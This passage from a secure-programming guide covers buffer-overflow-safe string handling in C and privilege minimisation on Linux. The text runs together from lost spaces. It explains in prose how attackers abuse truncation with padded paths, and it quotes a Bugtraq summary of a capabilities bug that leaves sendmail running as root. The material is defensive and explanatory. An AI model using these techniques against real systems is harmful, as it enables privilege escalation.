ensuredthattheboundswill nevergetexceeded.Functionsto avoid in mostcases(or
ensureprotection)includethefunctionsstrcpy(3), strcat(3),sprintf(3)(with cousin
vsprintf(3)),andgets(3).Theseshouldbereplacedwith functionssuchasstrncpy(3),
strncat(3),snprintf(3),andfgets(3)respectively, but seethediscussionbelow. The
functionstrlen(3)shouldbeavoidedunlessyoucanensurethattherewill bea
terminatingNIL characterto find. Thescanf()family (scanf(3),fscanf(3),sscanf(3),
vscanf(3),vsscanf(3),andvfscanf(3))is oftendangerousto use;do notuseit to send
datato astringwithoutcontrollingthemaximumlength(theformat%sis aparticularly
commonproblem).Otherdangerousfunctionsthatmaypermitbuffer overruns
(dependingon theiruse)includerealpath(3),getopt(3),getpass(3),streadd(3),
strecpy(3), andstrtrns(3).Youmustcarefulwith getwd(3);thebuffer sentto getwd(3)
mustbeat leastPATH_MAX byteslong.

Unfortunately, snprintf()’svariantshaveadditionalproblems.Officially, snprintf()is
nota standardC functionin theISO 1990(ANSI 1989)standard,thoughsprintf() is, so
notall systemsincludesnprintf().Evenworse,somesystems’snprintf()donotactually
protectagainstbuffer overflows; they just call sprintf directly. Old versionsof Linux’s
libc4 dependedon a “libbsd” thatdid this horriblething,andI’m told thatsomeold HP
systemsdid thesame.Linux’scurrentversionof snprintf is known to work correctly,
thatis, it doesactuallyrespecttheboundaryrequested.Thereturnvalueof snprintf()
variesaswell; theSingleUnix Specification(SUS)version2 andtheC99standard
differ onwhatis returnedby snprintf().Finally, it appearsthatat leastsomeversionsof
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snprintfdon’t guaranteethatits stringwill endin NIL; if thestringis too long, it won’t
includeNIL at all. Notethattheglib library (thebasisof GTK, andnot thesameasthe
GNU C library glibc) hasag_snprintf(),whichhasaconsistentreturnsemantic,always
NIL-terminates,andmostimportantlyalwaysrespectsthebuffer length.

5.2. Librar y Solutions in C/C++
Onesolutionin C/C++is to uselibrary functionsthatdo nothavebuffer overflow
problems.Thefirst subsectiondescribesthe“standardC library” solution,whichcan
work but hasits disadvantages.Thenext subsectiondescribesthegeneralsecurity
issuesof bothfixedlengthanddynamicallyreallocatedapproachesto buffers.The
following subsectionsdescribevariousalternative libraries,suchasstrlcpy andlibmib.

5.2.1. Standar d C Librar y Solution
The“standard”solutionto preventbuffer overflow in C is to usethestandardC library
callsthatdefendagainsttheseproblems.Thisapproachdependsheavily on the
standardlibrary functionsstrncpy(3) andstrncat(3).If youchoosethis approach,
beware:thesecallshavesomewhatsurprisingsemanticsandarehardto usecorrectly.
Thefunctionstrncpy(3) doesnotNIL-terminatethedestinationstringif thesource
stringlengthis at leastequalto thedestination’s,sobesureto setthelastcharacterof
thedestinationstringto NIL aftercallingstrncpy(3). If you’regoingto reusethesame
buffer many times,anefficientapproachis to tell strncpy() thatthebuffer is one
charactershorterthanit actuallyis andsetthelastcharacterto NIL oncebeforeuse.
Both strncpy(3) andstrncat(3)requirethatyoupasstheamountof spaceleft available,
acomputationthatis easyto getwrong(andgettingit wrongcouldpermitabuffer
overflow attack).Neitherprovideasimplemechanismto determineif anoverflow has
occurred.Finally, strncpy(3) hasasignificantperformancepenaltycomparedto the
strcpy(3) it supposedlyreplaces,becausestrncpy(3)NIL-fills theremainderof the
destination. I’vegottenemailsexpressingsurpriseover this lastpoint,but this is clearly
statedin KernighanandRitchiesecondedition[Kernighan1988,page249],andthis
behavior is clearlydocumentedin themanpagesfor Linux, FreeBSD,andSolaris.This
meansthatjust changingfrom strcpy to strncpy cancauseaseverereductionin
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performance,for nogoodreasonin mostcases.

You canalsousesprintf()while preventingbuffer overflows,but youneedto becareful
whendoingso;it’ s soeasyto misapplythatit’ shardto recommend.Thesprintf control
stringcancontainvariousconversionspecifiers(e.g.,"%s"), andthecontrolspecifiers
canhaveoptionalfield width (e.g.,"%10s")andprecision(e.g.,"%.10s")
specifications.Theselook quitesimilar (theonly differenceis aperiod)but they are
verydifferent.Thefield width only specifiesaminimumlengthandis completely
worthlessfor preventingbuffer overflows.In contrast,theprecisionspecification
specifiesthemaximumlengththatthatparticularstringmayhave in its outputwhen
usedasastringconversionspecifier- andthusit canbeusedto protectagainstbuffer
overflows.Notethattheprecisionspecificationonly specifiesthetotalmaximumlength
whendealingwith astring;it hasadifferentmeaningfor otherconversionoperations.
If thesizeis givenas"*", thenyoucanpassthemaximumsizeasaparameter(e.g.,the
resultof a sizeof()operation).This is mosteasilyshown by anexample- here’s the
wrongandright way to usesprintf() to protectagainstbuffer overflows:

char buf[BUFFER_SIZE];
sprintf(buf, "%*s", sizeof(buf)-1, "long-string"); /* WRONG */
sprintf(buf, "%.*s", sizeof(buf)-1, "long-string"); /* RIGHT */

In theory, sprintf() shouldbeveryhelpful becauseyoucanuseit to specifycomplex
formats.Sadly, it’ seasyto getthingswrongwith sprintf(). If theformatis complex,
you needto makesurethatthedestinationis largeenoughfor thelargestpossiblesize
of theentire format,but theprecisionfield only controlsthesizeof oneparameter. The
"largestpossible"valueis oftenhardto determinewhenacomplicatedoutputis being
created.If aprogramdoesn’t allocatequiteenoughspacefor thelongestpossible
combination,abuffer overflow vulnerabilitymayopenup.Also, sprintf() appendsa
NUL to thedestinationaftertheentireoperationis complete- this extracharacteris
easyto forgetandcreatesanopportunityfor off-by-oneerrors.So,while thisworks,it
canbepainful to usein somecircumstances.

5.2.2. Static and Dynamicall y Allocated Buff ers
strncpy andfriendsareanexampleof staticallyallocatedbuffers,thatis, oncethebuffer
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is allocatedit staysafixedsize.Thealternative is to dynamicallyreallocatebuffer sizes
asyou needthem.It turnsout thatbothapproacheshavesecurityimplications.

Thereis ageneralsecurityproblemwhenusingfixed-lengthbuffers:thefactthatthe
buffer is a fixedlengthmaybeexploitable.This is aproblemwith strncpy(3) and
strncat(3),snprintf(3),strlcpy(3), strlcat(3),andothersuchfunctions.Thebasicideais
thattheattackersetsupa really longstringsothat,whenthestringis truncated,the
final resultwill bewhattheattackerwanted(insteadof whatthedeveloperintended).
Perhapsthestringis catenatedfrom severalsmallerpieces;theattackermightmake the
first pieceaslongastheentirebuffer, soall laterattemptsto concatenatestringsdo
nothing.Herearesomespecificexamples:

• Imaginecodethatcallsgethostbyname(3)and,if successful,immediatelycopies
hostent->h_nameto afixed-sizebuffer usingstrncpy or snprintf.Usingstrncpy or
snprintfprotectsagainstanoverflow of anexcessively long fully-qualifieddomain
name(FQDN),soyou might think you’redone.However, this couldresultin
choppingoff theendof theFQDN.Thismaybeveryundesirable,dependingon
whathappensnext.

• Imaginecodethatusesstrncpy, strncat,snprintf,etc.,to copy thefull pathof a
filesystemobjectto somebuffer. Furtherimaginethattheoriginal valuewas
providedby anuntrusteduser, andthatthecopying is partof aprocessto passa
resultingcomputationto a function.Soundssafe,right?Now imaginethatan
attackerpadsapathwith a largenumberof ’/’ sat thebeginning.Thiscouldresultin
futureoperationsbeingperformedon thefile “/”. If theprogramappendsvaluesin
thebelief thattheresultwill besafe,theprogrammaybeexploitable.Or, theattacker
coulddevisea longfilenamenearthebuffer length,sothatattemptsto appendto the
filenamewouldsilently fail to occur(or only partiallyoccurin waysthatmaybe
exploitable).

Whenusingstatically-allocatedbuffers,you really needto considerthelengthof the
sourceanddestinationarguments.Sanitycheckingtheinput andtheresulting
intermediatecomputationmight dealwith this, too.

Anotheralternative is to dynamicallyreallocateall stringsinsteadof usingfixed-size
buffers.Thisgeneralapproachis recommendedby theGNU programmingguidelines,
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sinceit permitsprogramsto handlearbitrarily-sizedinputs(until they runoutof
memory).Of course,themajorproblemwith dynamicallyallocatedstringsis thatyou
mayrunoutof memory. Thememorymayevenbeexhaustedat someotherpoint in the
programthantheportionwhereyou’reworriedaboutbuffer overflows;any memory
allocationcanfail. Also, sincedynamicreallocationmaycausememoryto be
inefficiently allocated,it is entirelypossibleto run outof memoryeventhough
technicallythereis enoughvirtual memoryavailableto theprogramto continue.In
addition,beforerunningoutof memorytheprogramwill probablyuseagreatdealof
virtual memory;this caneasilyresultin “thrashing”,asituationin which thecomputer
spendsall its time just shuttlinginformationbetweenthediskandmemory(insteadof
doingusefulwork). Thiscanhave theeffectof adenialof serviceattack.Somerational
limits on inputsizecanhelphere.In general,theprogrammustbedesignedto fail
safelywhenmemoryis exhaustedif youusedynamicallyallocatedstrings.

5.2.3. strlcp y and strlcat
An alternative,beingemployedby OpenBSD,is thestrlcpy(3) andstrlcat(3)functions
by Miller anddeRaadt[Miller 1999].This is aminimalist,statically-sizedbuffer
approachthatprovidesC stringcopying andconcatenationwith adifferent(andless
error-prone)interface.Sourceanddocumentationof thesefunctionsareavailableunder
anewerBSD-styleopensourcelicenseat
ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3.

First,herearetheirprototypes:

size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);

Both strlcpy andstrlcattake thefull sizeof thedestinationbuffer asaparameter(not
themaximumnumberof charactersto becopied)andguaranteeto NIL-terminatethe
result(aslongassizeis largerthan0). Rememberthatyoushouldincludeabytefor
NIL in thesize.

Thestrlcpy functioncopiesup to size-1charactersfrom theNUL-terminatedstringsrc
to dst,NIL-terminatingtheresult.ThestrlcatfunctionappendstheNIL-terminated
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stringsrcto theendof dst.It will appendat mostsize- strlen(dst)- 1 bytes,
NIL-terminatingtheresult.

Oneminor disadvantageof strlcpy(3) andstrlcat(3)is thatthey arenot,by default,
installedin mostUnix-likesystems.In OpenBSD,they arepartof <string.h>.This is
not thatdifficult aproblem;sincethey aresmallfunctions,youcanevenincludethem
in yourown program’ssource(at leastasanoption),andcreatea smallseparate
packageto loadthem.You canevenuseautoconfto handlethis caseautomatically. If
moreprogramsusethesefunctions,it won’t belongbeforethesearestandardpartsof
Linux distributionsandotherUnix-likesystems.Also, thesefunctionshavebeenbeen
recentlyaddedto the“glib” library (I submittedthepatchto do this),sousingglib will
(in thefuture)make themavailable.In glib thesefunctionsarenamedg_strlcpy and
g_strlcat(not strlcpy or strlcat)to beconsistentwith theglib library naming
conventions.

5.2.4. libmib
Onetoolsetfor C thatdynamicallyreallocatesstringsautomaticallyis the“libmib
allocatedstringfunctions”by ForrestJ.Cavalier III, availableat
http://www.mibsoftware.com/libmib/astring.Therearetwo variationsof libmib;
“libmib-open” appearsto beclearlyopensourceunderits own X11-like licensethat
permitsmodificationandredistribution,but redistributionsmustchooseadifferent
name,however, thedeveloperstatesthatit “may notbefully tested.” To continuously
getlibmib-mature,youmustpayfor asubscription.Thedocumentationis notopen
source,but it is freelyavailable.

5.2.5. Libsaf e
ArashBaratloo,TimothyTsai,andNavjot Singh(of LucentTechnologies)have
developedLibsafe,awrapperof severallibrary functionsknown to bevulnerableto
stacksmashingattacks.Thiswrapper(which they call akind of “middleware”) is a
simpledynamicallyloadedlibrary thatcontainsmodifiedversionsof C library
functionssuchasstrcpy(3). Thesemodifiedversionsimplementtheoriginal
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functionality, but in a mannerthatensuresthatany buffer overflowsarecontained
within thecurrentstackframe.Their initial performanceanalysissuggeststhatthis
library’soverheadis verysmall.Libsafepapersandsourcecodeareavailableat
http://www.bell-labs.com/org/11356/libsafe.html.TheLibsafesourcecodeis available
underthecompletelyopensourceLGPL license,andthereareindicationsthatmany
Linux distributorsareinterestedin usingit.

Libsafe’sapproachappearssomewhatuseful.Libsafeshouldcertainlybeconsidered
for inclusionby Linux distributors,andits approachis worthconsideringby othersas
well. However, asasoftwaredeveloper, Libsafeis ausefulmechanismto support
defense-in-depthbut it doesnot really preventbuffer overflows.Hereareseveral
reasonswhy youshouldn’t dependjust on Libsafeduringcodedevelopment:

• Libsafeonly protectsasmallsetof known functionswith obviousbuffer overflow
issues.At thetimeof this writing, this list is significantlyshorterthanthelist of
functionsin this bookknown to have thisproblem.It alsowon’t protectagainstcode
youwrite yourself(e.g.,in awhile loop) thatcausesbuffer overflows.

• Evenif libsafeis installedin adistribution,theway it is installedimpactsits use.The
documentationrecommendssettingLD_PRELOAD to causelibsafe’sprotectionsto
beenabled,but theproblemis thatuserscanunsetthis environmentvariable...
causingtheprotectionto bedisabledfor programsthey execute!

• Libsafeonly protectsagainstbuffer overflowsof thestackontothereturnaddress;
youcanstill overruntheheapor othervariablesin thatprocedure’s frame.

• Unlessyoucanbeassuredthatall deployedplatformswill uselibsafe(or something
like it), you’ll have to protectyour programasthoughit wasn’t there.

• LibSafeseemsto assumethatsavedframepointersareat thebeginningof eachstack
frame.This isn’t alwaystrue.Compilers(suchasgcc)canoptimizeaway things,and
in particulartheoption"-fomit-frame-pointer"removestheinformationthatlibsafe
seemsto need.Thus,libsafemayfail to work for someprograms.

Thelibsafedevelopersthemselvesacknowledgethatsoftwaredevelopersshouldn’t just
dependon libsafe.In theirwords:
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It is generallyacceptedthatthebestsolutionto buffer overflow attacksis to fix thedefective
programs.However, fixing defectiveprogramsrequiresknowing thataparticularprogram
is defective.Thetruebenefitof usinglibsafeandotheralternativesecuritymeasuresis
protectionagainstfutureattacksonprogramsthatarenot yet known to bevulnerable.

5.2.6. Other Libraries
Theglib (notglibc) library is awidely-availableopensourcelibrary thatprovidesa
numberof usefulfunctionsfor C programmers.GTK+ andGNOMEbothuseglib, for
example.As I notedearlier, in glib version1.3.2,g_strlcpy() andg_strlcat()havebeen
addedthroughapatchwhich I submitted.Thisshouldmake it easierto portablyuse
thosefunctionsoncetheselaterversionsof glib becomewidely available.At this time I
do nothaveananalysisshowing definitively thattheglib library functionsprotect
againstbuffer overflow. However, many of theglib functionsautomaticallyallocate
memory, andthosefunctionsautomaticallyfail with no reasonablewayto interceptthe
failure (e.g.,to try somethingelseinstead).As a result,in many casesmostglib
functionscannotbeusedin mostsecureprograms.TheGNOMEguidelines
recommendusingfunctionssuchasg_strdup_printf(),which is fine aslongasit’ sokay
if your programimmediatelycrashesif anout-of-memoryconditionoccurs.However,
if youcan’t acceptthis, thenusingsuchroutinesisn’t approriate.

5.3. Compilation Solutions in C/C++
A completelydifferentapproachis to usecompilationmethodsthatperform
bounds-checking(see[Sitaker1999]for a list). In my opinion,suchtoolsarevery
usefulin having multiple layersof defense,but it’ snotwiseto usethis techniqueas
your soledefense.Thereareat leasttwo reasonsfor this.First of all, mostsuchtools
only providepartialdefenseagainstbuffer overflows(andthe“complete”defensesare
generally12-30timesslower);C andC++ weresimplynot designedto protectagainst
buffer overflow. Secondof all, for opensourceprogramsyou cannotbecertainwhat
toolswill beusedto compiletheprogram;usingthedefault “normal” compilerfor a
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givensystemmight suddenlyopensecurityflaws.

Oneof themoreusefultoolsis “StackGuard”,a modificationof thestandardGNU C
compilergcc.StackGuardworksby insertinga “guard” value(calleda “canary”) in
front of thereturnaddress;if abuffer overflow overwritesthereturnaddress,the
canary’s value(hopefully)changesandthesystemdetectsthis beforeusingit. This is
quitevaluable,but notethatthis doesnotprotectagainstbuffer overflowsoverwriting
othervalues(which they maystill beableto useto attacka system).Thereis work to
extendStackGuardto beableto addcanariesto otherdataitems,called“PointGuard”.
PointGuardwill automaticallyprotectcertainvalues(e.g.,functionpointersand
longjumpbuffers).However, protectingothervariabletypesusingPointGuardrequires
specificprogrammerintervention(theprogrammerhasto identify whichdatavalues
mustbeprotectedwith canaries).Thiscanbevaluable,but it’ seasyto accidentally
omit protectionfor adatavalueyoudidn’t think neededprotection- but needsit
anyway. More informationon StackGuard,PointGuard,andotheralternativesis in
Cowan[1999].

As a relatedissue,in Linux you couldmodify theLinux kernelsothatthestack
segmentis notexecutable;suchapatchto Linux doesexist (seeSolarDesigner’spatch,
which includesthis,at http://www.openwall.com/linux/However, asof thiswriting this
is notbuilt into theLinux kernel.Part of therationaleis thatthis is lessprotectionthan
it seems;attackerscansimply forcethesystemto call other“interesting”locations
alreadyin theprogram(e.g.,in its library, theheap,or staticdatasegments).Also,
sometimesLinux doesrequireexecutablecodein thestack,e.g.,to implementsignals
andto implementGCC“trampolines”.SolarDesigner’spatchdoeshandlethesecases,
but thisdoescomplicatethepatch.Personally, I’d like to seethis mergedinto themain
Linux distribution,sinceit doesmakeattackssomewhatmoredifficult andit defends
againsta rangeof existingattacks.However, I agreewith LinusTorvaldsandothers
thatthisdoesnotaddtheamountof protectionit wouldappearto andcanbe
circumventedwith relativeease.YoucanreadLinusTorvalds’explanationfor not
includingthissupportat http://lwn.net/980806/a/linus-noexec.html.

In short,it’ sbetterto work first ondevelopingacorrectprogramthatdefendsitself
againstbuffer overflows.Then,afteryou’vedonethis,by all meansusetechniquesand
toolslikeStackGuardasanadditionalsafetynet.If you’veworkedhardto eliminate
buffer overflows in thecodeitself, thenStackGuardis likely to bemoreeffective
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becausetherewill befewer “chinks in thearmor” thatStackGuardwill becalledon to
protect.

5.4. Other Langua ges
Theproblemof buffer overflows is anexcellentargumentfor usingotherprogramming
languagessuchasPerl,Python,Java,andAda95.After all, nearlyall other
programminglanguagesusedtoday(otherthanassemblylanguage)protectagainst
buffer overflows.Usingthoseotherlanguagesdoesnoteliminateall problems,of
course;in particularseethediscussionin Section7.2regardingtheNIL character.
Thereis alsotheproblemof ensuringthatthoseotherlanguages’infrastructure(e.g.,
run-timelibrary) is availableandsecured.Still, you shouldcertainlyconsiderusing
otherprogramminglanguageswhendevelopingsecureprogramsto protectagainst
buffer overflows.
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Like a city whosewallsare
brokendownis a manwholacks
self-control.

Proverbs25:28(NIV)

6.1. Follo w Good Software Engineering
Principles for Secure Programs
Saltzer[1974]andlaterSaltzerandSchroeder[1975] list thefollowing principlesof
thedesignof secureprotectionsystems,which arestill valid:

• Leastprivilege. Eachuserandprogramshouldoperateusingthefewestprivileges
possible.Thisprinciplelimits thedamagefrom anaccident,error, or attack.It also
reducesthenumberof potentialinteractionsamongprivilegedprograms,so
unintentional,unwanted,or improperusesof privilegearelesslikely to occur. This
ideacanbeextendedto theinternalsof aprogram:only thesmallestportionof the
programwhich needsthoseprivilegesshouldhave them.SeeSection6.3 for more
abouthow to do this.

• Economyof mechanism/Simplicity. Theprotectionsystem’sdesignshouldbesimple
andsmallaspossible.In theirwords,“techniquessuchasline-by-lineinspectionof
softwareandphysicalexaminationof hardwarethatimplementsprotection
mechanismsarenecessary. For suchtechniquesto besuccessful,a smallandsimple
designis essential.” This is sometimesdescribedasthe“KISS” principle(“keepit
simple,stupid”).

• Opendesign. Theprotectionmechanismmustnotdependon attacker ignorance.
Instead,themechanismshouldbepublic,dependingon thesecrecy of relatively few
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(andeasilychangeable)itemslikepasswordsor privatekeys.An opendesignmakes
extensivepublic scrutiny possible,andit alsomakesit possiblefor usersto convince
themselvesthatthesystemaboutto beusedis adequate.Frankly, it isn’t realisticto
try to maintainsecrecy for asystemthatis widely distributed;decompilersand
subvertedhardwarecanquickly exposeany “secrets”in animplementation.Bruce
Schneierarguesthatsmartengineersshould“demandopensourcecodefor anything
relatedto security”,aswell asensuringthatit receiveswidespreadreview andthat
any identifiedproblemsarefixed[Schneier1999].

• Completemediation. Everyaccessattemptmustbechecked;positionthemechanism
soit cannotbesubverted.For example,in aclient-servermodel,generallytheserver
mustdoall accesscheckingbecauseuserscanbuild or modify theirown clients.This
is thepoint of all of Chapter4, aswell asSection6.2.

• Fail-safedefaults(e.g., permission-basedapproach). Thedefault shouldbedenialof
service,andtheprotectionschemeshouldthenidentify conditionsunderwhich
accessis permitted.SeeSection6.5andSection6.6for more.

• Separationof privilege. Ideally, accessto objectsshoulddependon morethanone
condition,sothatdefeatingoneprotectionsystemwon’t enablecompleteaccess.

• Leastcommonmechanism. Minimize theamountanduseof sharedmechanisms(e.g.
useof the/tmpor /var/tmpdirectories).Sharedobjectsprovidepotentiallydangerous
channelsfor informationflow andunintendedinteractions.SeeSection6.7for more
information.

• Psychological acceptability/ Easyto use. Thehumaninterfacemustbedesignedfor
easeof usesouserswill routinelyandautomaticallyusetheprotectionmechanisms
correctly. Mistakeswill bereducedif thesecuritymechanismscloselymatchthe
user’smentalimageof hisor herprotectiongoals.

6.2. Secure the Interface
Interfacesshouldbeminimal (simpleaspossible),narrow (provideonly thefunctions
needed),andnon-bypassable.Trustshouldbeminimized.Considerlimiting thedata
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thattheusercansee.

Applicationsanddataviewersmaybeusedto displayfilesdevelopedexternally, soin
generaldon’t allow themto acceptprograms(alsoknown as“scripts” or “macros”)
unlessyou’rewilling to do theextensivework necessaryto createasecuresandbox.
Themostdangerouskind is anauto-executingmacrothatexecuteswhenthe
applicationis loadedand/orwhenthedatais initially displayed;from asecurity
point-of-view this is adisasterwaiting to happenunlessyouhaveextremelystrong
controloverwhatthemacrocando(a “sandbox”),andpastexperiencehasshown that
realsandboxesarehardto implement.

6.3. Minimiz e Privileg es
As notedearlier, it is animportantgeneralprinciplethatprogramshave theminimal
amountof privilegesnecessaryto do its job (this is termed“leastprivilege”). Thatway,
if theprogramis broken,its damageis limited. Themostextremeexampleis to simply
notwrite asecureprogramatall - if thiscanbedone,it usuallyshouldbe.For example,
don’t makeyour programsetuidor setgidif youcan;just make it anordinaryprogram,
andrequiretheadministratorto log in assuchbeforerunningit.

In Linux andUnix, theprimarydeterminerof aprocess’privilegesis thesetof id’s
associatedwith it: eachprocesshasa real,effectiveandsavedid for boththeuserand
group.Linux alsohasthefilesystemuid andgid. Manipulatingthesevaluesis critical to
keepingprivilegesminimized,andthereareseveralwaysto minimizethem(discussed
below). You canalsousechroot(2)to minimizethefilesvisible to aprogram.

6.3.1. Minimiz e the Privileg es Granted
Perhapsthemosteffective techniqueis to simplyminimizethethehighestprivilege
granted.In particular, avoid grantingaprogramroot privilegeif possible.Don’t makea
programsetuidroot if it only needsaccessto asmallsetof files; considercreating
separateuseror groupaccountsfor differentfunction.

A commontechniqueis to createa specialgroup,changea file’sgroupownershipto
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thatgroup,andthenmake theprogramsetgidto thatgroup.It’ s betterto makea
programsetgidinsteadof setuidwhereyou can,sincegroupmembershipgrantsfewer
rights(in particular, it doesnotgranttheright to changefile permissions).

This is commonlydonefor gamehighscores.Gamesareusuallysetgidgames, the
scorefilesareownedby thegroupgames, andtheprogramsthemselvesandtheir
configurationfilesareownedby someoneelse(sayroot).Thus,breakinginto agame
allows theperpetratorto changehighscoresbut doesn’t granttheprivilegeto change
thegame’sexecutableor configurationfile. Thelatteris important;if anattacker could
changeagame’sexecutableor its configurationfiles (which mightcontrolwhatthe
executableruns),thenthey might beableto gaincontrolof auserwhoranthegame.

If creatinganew groupisn’t sufficient,considercreatinganew pseudouser(really, a
specialrole) to manageasetof resources.Webserverstypically do this; oftenweb
serversaresetupwith aspecialuser(“nobody”) sothatthey canbeisolatedfrom other
users.Indeed,webserversareinstructivehere:webserverstypically needroot
privilegesto startup (sothey canattachto port80),but oncestartedthey usuallyshed
all theirprivilegesandrun astheuser“nobody”. Again,usuallythepseudouserdoesn’t
own theprimaryprogramit runs,sobreakinginto theaccountdoesn’t allow for
changingtheprogramitself. As a result,breakinginto a runningwebservernormally
doesnotautomaticallybreakthewholesystem’ssecurity.

If youmustgiveaprogramrootprivileges,considerusingthePOSIXcapability
featuresavailablein Linux 2.2andgreaterto minimizethemimmediatelyon program
startup.By calling cap_set_proc(3)or theLinux-specificcapsetp(3)routines
immediatelyafterstarting,you canpermanentlyreducetheabilitiesof your programto
just thoseabilitiesit actuallyneeds.Notethatnot all Unix-likesystemsimplement
POSIXcapabilities,sothis is anapproachthatcanloseportability; however, if youuse
it merelyasanoptionalsafeguardonly whereit’ savailable,usingthisapproachwill not
really limit portability. Also, while theLinux kernelversion2.2andgreaterincludes
thelow-level calls,theC-level librariesto make theiruseeasyarenot installedonsome
Linux distributions,slightly complicatingtheir usein applications.For more
informationonLinux’s implementationof POSIXcapabilities,see
http://linux.kernel.org/pub/linux/libs/security/linux-privs.

OneLinux-uniquetool you canuseto simplify minimizinggrantedprivilegesis the
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“compartment”tool developedby SuSE.This tool setsthefileystemroot,uid, gid,
and/orthecapabilityset,thenrunsthegivenprogram.This is particularlyhandyfor
runningsomeotherprogramwithout modifying it. Here’s thesyntaxof version0.5:

Syntax: compartment [options] /full/path/to/program

Options:
-chroot path chroot to path
-user user change uid to this user
-group group change gid to this group
-init program execute this program before doing anything
-cap capset set capset name. You can specify several
-verbose be verbose
-quiet do no logging (to syslog)

Thus,you couldstarta moresecureanonymousftp serverusing:

compartment -chroot /home/ftp -cap CAP_NET_BIND_SERVICE anon-ftpd

At thetimeof this writing, thetool is immatureandnot availableon typicalLinux
distributions,but thismayquickly change.Youcandownloadtheprogramvia
http://www.suse.de/~marc.

6.3.2. Minimiz e the Time the Privileg e Can Be Used
As soonaspossible,permanentlygiveupprivileges.SomeUnix-likesystems,
includingLinux, implement“saved” IDs whichstorethe“previous” value.The
simplestapproachis to settheotherid’s twice to anuntrustedid. In setuid/setgid
programs,you shouldusuallysettheeffectivegid anduid to therealones,in particular
right aftera fork(2), unlessthere’sagoodreasonnot to. Notethatyouhave to change
thegid first whendroppingfrom root to anotherprivilegeor it won’t work - onceyou
droprootprivileges,youwon’t beableto changemuchelse.

It’ sworth notingthatthere’sawell-known relatedbug thatusesPOSIXcapabilitiesto
interferewith this minimization.ThisbugaffectsLinux kernel2.2.0through2.2.15,
andpossiblyanumberof otherUnix-likesystemswith POSIXcapabilities.See
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Bugtraqid 1322onhttp://www.securityfocus.comfor moreinformation.Hereis their
summary:

POSIX"Capabilities"have recentlybeenimplementedin theLinux kernel.These
"Capabilities"areanadditionalform of privilegecontrolto enablemorespecificcontrol
overwhatpriviliged processescando.Capabilitiesareimplementedasthree(fairly large)
bitfields,whicheachbit representingaspecificactionaprivilegedprocesscanperform.By
settingspecificbits, theactionsof priviliged processescanbecontrolled– accesscanbe
grantedfor variousfunctionsonly to thespecificpartsof aprogramthatrequirethem.It is a
securitymeasure.Theproblemis thatcapabilitiesarecopiedwith fork() execs,meaning
thatif capabilitiesaremodifiedby aparentprocess,they canbecarriedover. Theway that
this canbeexploitedis by settingall of thecapabilitiesto zero(meaning,all of thebits are
off) in eachof thethreebitfieldsandthenexecutingasetuidprogramthatattemptsto drop
priviligesbeforeexecutingcodethatcouldbedangerousif runasroot,suchaswhat
sendmaildoes.Whensendmailattemptsto droppriviligesusingsetuid(getuid()),it fails not
having thecapabilitiesrequiredto dosoin its bitfieldsandwith nocheckson its return
value. It continuesexecutingwith superuserpriviliges,andcanrunausers.forwardfile as
root leadingto a completecompromise.

Oneapproach,usedby sendmail,is to attemptto dosetuid(0)afterasetuid(getuid());
normallythis shouldfail. If it succeeds,theprogramshouldstop.For more
information,seehttp://sendmail.net/?feed=000607linuxbug.In theshorttermthis
might beagoodideain otherprograms,thoughclearlythebetterlong-termapproachis
to upgradetheunderlyingsystem.

6.3.3. Minimiz e the Time the Privileg e is Active
Usesetuid(2),seteuid(2),andrelatedfunctionsto ensurethattheprogramonly has
theseprivilegesactivewhennecessary. As notedabove,you mightwantensurethat
theseprivilegesaredisabledwhile parsinguserinput,but moregenerally, only turn on
privilegeswhenthey’reactuallyneeded.Notethatsomebuffer overflow attacks,if
successful,canforceaprogramto run arbitrarycode,andthatcodecouldre-enable
privilegesthatweretemporarilydropped.Thus,it’ salwaysbetterto completelydrop
privilegesassoonaspossible.Still, temporarilydisablingthesepermissionspreventsa
wholeclassof attacks,suchastechniquesto convinceaprogramto write into afile that
perhapsit didn’t intentto write into. Sincethis techniquepreventsmany attacks,it’ s
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worth doingif completelydroppingtheprivilegescan’t bedoneat thatpoint in the
program.

6.3.4. Minimiz e the Modules Granted the Privileg e
If only a few modulesaregrantedtheprivilege,thenit’ smucheasierto determineif
they’resecure.Oneway to do sois to haveasinglemoduleusetheprivilegeandthen
dropit, sothatothermodulescalledlatercannotmisusetheprivilege.Another
approachis to haveseparatecommandsin separateexecutables;onecommandmight
beacomplex tool thatcando avastnumberof tasksfor aprivilegeduser(e.g.,root),
while theothertool is setuidbut is asmall,simpletool thatonly permitsasmall
commandsubset.Thesmall,simpletool checksto seeif theinputmeetsvariouscriteria
for acceptability, andthenif it determinestheinput is acceptable,it passestheinput is
passedto thetool. Thiscanevenbelayerdseveralways,for example,acomplex user
tool couldcall asimplesetuid“wrapping” program(thatchecksits inputsfor secure
values)thatthenpasseson informationto anothercomplex trustedtool. Thisapproach
is especiallyhelpful for GUI-basedsystems;have theGUI portionrunasanormaluser,
andthenpasssecurity-relevantrequestson to anotherprogramthathasthespecial
privilegesfor actualexecution.

Someoperatingsystemshave theconceptof multiple layersof trustin asingleprocess,
e.g.,Multics’ rings.StandardUnix andLinux don’t havea wayof separatingmultiple
levelsof trustby functioninsideasingleprocesslike this; acall to thekernelincreases
privileges,but otherwisea givenprocesshasasinglelevel of trust.Linux andother
Unix-likesystemscansometimessimulatethis ability by forking a processinto
multipleprocesses,eachof which hasdifferentprivilege.To do this,setup asecure
communicationchannel(usuallyunnamedpipesor unnamedsocketsareused),then
fork into differentprocessesandhaveeachprocessdropasmany privilegesaspossible.
Thenuseasimpleprotocolto allow thelesstrustedprocessesto requestactionsfrom
themoretrustedprocess(es),andensurethatthemoretrustedprocessesonly supporta
limited setof requests.

This is oneareawheretechnologieslikeJava2 andFlukehaveanadvantage.For
example,Java2 canspecifyfine-grainedpermissionssuchasthepermissionto only
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openaspecificfile. However, general-purposeoperatingsystemsdo not typically have
suchabilitiesat this time; thismaychangein thenearfuture.For moreaboutJava,see
Section9.6.

6.3.5. Consider Using FSUID To Limit Privileg es
EachLinux processhastwo Linux-uniquestatevaluescalledfilesystemuserid (fsuid)
andfilesystemgroupid (fsgid).Thesevaluesareusedwhencheckingagainstthe
filesystempermissions.If you’rebuilding aprogramthatoperatesasafile server for
arbitraryusers(likeanNFSserver),youmight considerusingtheseLinux extensions.
To usethem,while holdingroot privilegeschangejust fsuid andfsgid beforeaccessing
fileson behalfof anormaluser. Thisextensionis fairly useful,andprovidesa
mechanismfor limiting filesystemaccessrightswithout removing other(possibly
necessary)rights.By only settingthefsuid (andnot theeuid),a localusercannotsenda
